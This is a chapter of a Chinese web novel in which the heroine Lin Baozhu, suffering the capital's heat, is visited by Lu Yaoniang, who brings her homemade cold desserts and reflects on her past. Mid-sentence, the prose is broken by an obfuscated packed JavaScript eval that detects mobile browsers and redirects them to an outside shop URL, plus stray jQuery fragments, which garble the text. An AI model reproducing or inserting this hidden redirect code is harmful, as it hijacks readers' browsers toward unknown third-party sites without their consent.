京城的天儿才不过刚刚步入四月,燥的发闷的空气就开始席卷了城内。
林宝珠从刚穿进来,就一直待在凌州这样的江南水乡,即使是跑路之后的江东,也是她特意选的,气候和凌州差不多的地儿。
而京城和她待惯了的两个地方,不说有多相似,但可以说是毫无关系。
京城的热天可比凌州和江东闷得多了。
林宝珠此时正歪在花园的凉亭里,手里的话本子立着,小脸趴在凉凉的石桌上看着。
翠云站在她身后,慢慢的替她打扇。清荷在这时走了过来,端来了冰镇好的酸梅汤。
林宝珠立刻坐了起来接过,一口气灌了半碗,总算凉快了片刻。
但就真的只是片刻。
“京城这什么破天气,这不才四月吗?热死个人了……”她烦躁的说道:“在我们凌州这个时候还凉快的很呢,烦死了。”说着,她就把碗往石桌上一搁,用手扇着风。
“别说是凌州了,就是在江东也没那么热。”姑娘哀怨的重新倒在冰凉的石桌上,脸贴在桌面上来汲取些许缓解凉意。
“翠云清荷,让人去冰窖再多取些冰来,这凉亭里放两盆完全不够,至少要四盆!快快快。”
虽然清荷已经清楚了林宝珠向来是个豪横的做派,但听到这话还是忍不住笑了下。
这才刚热起来呢,就上四个冰盆,林小姐还真是一点不委屈自己。
翠云倒是早就习惯了,加上她知道林宝珠确实怕热,对自家小姐的吩咐一点不意外。
两人微微福身。
“是,奴婢这就去吩咐。”
但清荷和翠云刚要转身,林宝珠就又想起了什么,连忙急急的补充了句:
“对了!然后再给我端一碗冰镇绿豆汤来……”说到这里,林宝珠顿了下,看了眼前的两个小丫鬟一眼:“你和清荷也去喝一碗好了,看你俩的脸上,全是汗。”
清荷愣了一下,还是翠云先反应过来,从后边轻轻推了她一下,两人这才一起屈身,笑着朝林宝珠谢恩,小跑去小厨房取绿豆汤。
两个小丫鬟走后,林宝珠拿起翠云放在一旁的团扇,整个人瘫在石桌上,手腕反转,扇子扇动的飞快。
今儿她身上穿的是轻薄的藕荷色纱衫,已经是夏款的衣裙了,衣料也是京城最名贵透气的了,但她还是觉得热。
这里的世界虽是虚构的,但怎么说也是个古代背景,没有电风扇,更没有空调。她每次过夏天,基本全靠冰盆续命。
从前在凌州和江东那样不算太热的地方还好,这到了京城倒是让她又开始想念起现代科技了。
不过至少还有冰盆。
林宝珠长舒一口气,拍了拍自己。
还好她在这里一直是有钱人啊。
话说翠云和清荷怎么还没回来?
其实,她们两个从离开到现在也没过多久,但林宝珠每次只要一热,心情就会比平时要急躁不少。
“烦死了烦死了……”
为了转移注意力,她在心里默默想象着空调、冰西瓜还有冰淇淋……想着想着,林宝珠就决定等会儿晚膳不吃了,拉肚子她也要让人送冰西瓜和牛奶冰沙给她吃个够。
林宝珠烦躁的扇着风,一下比一下用力,手腕都开始酸了。
这时,她才听见身后那边传来了脚步声。
“翠云翠云你怎么这么慢,你家小姐了都快热死了知不知道。”她扇着团扇的手不停,一边埋怨一边坐在石凳上转身。
但看清眼前人时,林宝珠的后半截话立刻卡在了嗓子眼里。
凉亭外面连翠云的影子都没有。
站在那里的,是个穿着靛蓝色衣裙的的年轻妇人。
她的发髻梳得简单,发间只簪了一支成色极好的碧玉簪,细瘦的手腕上戴着一只水头很足的翡翠镯子,那双熟悉的漂亮眉眼,让林宝珠几乎是立刻就反应了过来。
是陆瑶娘。
她差点就忘了,陆遇亭和她说过,他娘亲这两天要来府上小住的。
林宝珠愣在原地,脑子里空白了两秒,飞速的在想自己应该作何反应。
眼前的陆瑶娘比起她头一回在凌州街上偶遇她时的那副模样,好像还养回了些许年轻时的风韵。虽然眼角的细纹还在,但皮肤白净了许多,身姿也挺拔了,不再像以前那样畏生生的。
林宝珠视线往后,这才注意到她的身后还跟着一个面生的圆脸小丫鬟,手里提着个食盒,好奇的偷偷看了她好几眼。
姑娘终于反应过来,“腾”地一下就从石凳上站起来,下意识把裙摆往下扯了扯。
“陆、陆家娘子……”林宝珠太久没见她,一时间还有些不知道怎么称呼她好,最后还是选了这个从前用过的。
叫人陆老夫人莫名就有点怪怪的。
正当林宝珠胡思乱想的时候,陆瑶娘已经朝她走了过来。妇人笑盈盈的细细上下打量了她一番,像是在确认着什么。
“林小姐,好久不见。”
她的声音温温柔柔的,那目光更是温温柔柔的,盈润的眸子里满是软的不像话的思绪。
“这么多年不见,林小姐比起在凌州时长长大了不少,也更漂亮了。”
林宝珠虽然偶尔会自恋一下,但被人这么正经一夸,还莫名有些不好意思上了。
她轻咳一声,用惯用的人设掩盖住雀跃的心情:
“那是当然的,也不看看我林家是什么好血脉。”
陆瑶娘瞧见眼前的姑娘泛着红的耳垂,面上还一副故作镇定的样子,眼底的笑意加深,顿了顿,随即语气随意又亲切道:
“很热吧?京城的四月天就是这样,闷热的紧,之后反而还会好些的。”
两人说着话,并肩一起走向凉亭,刚坐下没多久,翠云就和清荷一人端着两碗东西来了。
“小姐,小厨房还在冰了些西瓜,奴婢就和清荷一并拿过来了,您看……”
“老夫人?”
翠云的话还没说完,就被清荷打断了。
陆瑶娘只是笑着点了点头示意。
“来的正好,刚好我也给你们小姐带了些消暑的吃食。”说着,她侧身从身后跟着的小丫鬟手里接过食盒放到桌子上,对着她说:
“不知道合不合林小姐的口味。”
食盒的盖子被揭开来,里面赫然是几碟精致的小菜和点心。
有冰镇牛奶莲子羹、冰沙绿豆汤还有一碗做的十分漂亮的芒果酥山,都是些清凉解暑的甜品。
每一样都能看得出来是花了心思。
“我不知道小姐爱吃什么,就多做了几样。这道莲子羹是今早现熬的,冰的刚刚好了才装进盒子里的。酥山也是我跟隔壁李婶子学的,她娘家也是在江南那边的,做这个拿手。”
林宝珠讶异的抬眼看向她:“这些都是为我做的?”
陆瑶娘依旧眉眼含笑:
“是啊,还望小姐不要嫌弃才好。”
林宝珠的心里像是被温水浸泡,漫开一阵绵长的暖意与舒适。
“这种小事花钱雇人做就是了,还搞得这么用心,让本小姐都怪不好意思的。”
她嘴上虽然这么说,但手上还是十分诚实的去拿勺子。
“不过还是谢啦,陆娘子。”
林宝珠舀了牛奶莲子羹放进嘴里,冰凉顺滑,甜度也是放的恰到好处,她的眼睛立马就亮了。
“好吃!”这下真的是她发自内心的赞叹了。
陆瑶娘松了口气,唇角的笑意更深了。
她十分自然的接过翠云手上的扇子,在她身旁轻轻扇着。
陆瑶娘看着林宝珠一边吃,一边就熟稔的笑着和她聊起些家常话。
先是问她在这里住不住得惯,再问府上的丫鬟伺候得周不周到,还问她在京城过的可舒心。
到底是头牌出身的,陆瑶娘的声音极为好听,说话的节奏也控制的好,只不过随便和她说些简单的日常,都似乎动听的紧。
林宝珠一边吃一边答,渐渐的就放松了下来,又恢复了那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802819|203455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
副大大咧咧的样子。
一会儿抱怨京城的空气太干燥,一会儿又说御史府的人天天看着她,走到哪儿都要跟着,还吐槽陆遇亭每天下朝回来第一件事就是烦她。
听到自己在外人面前一向冷淡的小儿子在林宝珠的描述下像个粘人精似的,陆瑶娘笑着摇了摇头。
“这孩子……”
她从前也不是没有察觉到自己儿子对林家小姐似乎有些特殊的情感。
但这孩子从小便懂事,什么事都藏在心里。所以即使她是陆遇亭的亲生母亲,有时也猜不透儿子到底在想些什么。
但在林宝珠的事情上,她现在是再清楚明了不过了。
“那小姐对我们家亭儿,可还满意?”
林宝珠握着勺子的手顿住了,接着便在碗里随意的搅了搅,理直气壮道:
“还行吧,勉强凑合。”
陆瑶娘看着她这副似乎真的风轻云淡的样子,轻轻笑了起来。
“那这么看来,亭儿还要再努力些了。”她笑着,又把酥山往林宝珠那推了推。
忽然,她不知怎的就想起自己年轻的时候。
那时候她还是丽春楼里的头牌歌姬,一首曲子都能拿下千金,更不用说单独点她伺候一晚了。
直到她遇到那个书生。
那男人长的白净俊俏,和她从前接过的那些男人一点都不一样。
他对她说尽了甜言蜜语,也承诺遍了山盟海誓。
他说:“瑶娘,我想带你走。”
这句话真的太诱人了。
现在想想,当时她那么义无反顾的相信他,也许她迷上了那个男人是一部分原因,但或许也有那么一小部分,也是她真的很想脱离这座华丽的囚笼了吧。
于是她把自己的体己银子都给了他,满怀希望的等着他进京赶考回来娶她。
然后,他就再也没有回来。
她那时候就想,她这辈子吃尽了男人的亏,那她的儿子绝不能像那个人一样,成了那种辜负姑娘的负心人。
但如今看着林宝珠这副被宠坏了还嘴硬的模样,她心下竟有种无比安心的感觉。
这才是她的孩子,她一个人生,一个人养出来的,长的最像她,性子也最像她的孩子。
这是上天送她的礼物。
思绪回笼,陆瑶娘顿了顿,似乎在斟酌措辞,“其实,我还没见过亭儿待人像待小姐这样。”
“他从小就不爱说话,心里有什么事都闷着。可唯独林小姐,他这些年却常在我这里提起。”
林宝珠闻言愣了一下,但也没接话。
但陆瑶娘也没有再接着往下多说,只是笑着用手帕帮她擦了擦嘴角。
凉亭这边除了翠云和清荷在侍奉以外,附近还有一些丫鬟小厮在做事。
看到陆瑶娘帮林宝珠擦嘴角的时候,一个两个差点手上的活计都差点出错了。
陆府的下人谁不知道老夫人的性子,和大人简直如出一辙,都是待人温和有礼却始终保持着恰到好处的距离,从不多说一句闲话,更从不多管一桩闲事。
陆遇亭这样的年轻权臣,想攀附的人自然不会少,而最好下手的,便是他的家人
。所以老夫人不和大人一起住,除了因为大人要公务来往以外,更多的缘由便是为了躲清静。
最开始老夫人还没搬去城郊的时候,邀她参加各种宴的帖子接连不断。
但陆瑶娘全都婉拒了。
所以说,府上的人觉得老夫人的性子比大人还难琢磨,大人至少还会看在公务的份上敷衍几句,老夫人是连敷衍都懒得敷衍。
可今天这位连京城各个贵女贵妇人都不放在眼里的老夫人,正坐在凉亭里给大人亲自抱回来的林小姐打扇。
一边打扇还一边问:“林小姐晚上想吃什么,我亲自下厨做些凌州菜。”
不远处的几个丫鬟小厮默默交换了一个眼神。
她们终于明白了,林小姐在陆府的地位,怕是比她们所有人想象的,还要更高一些。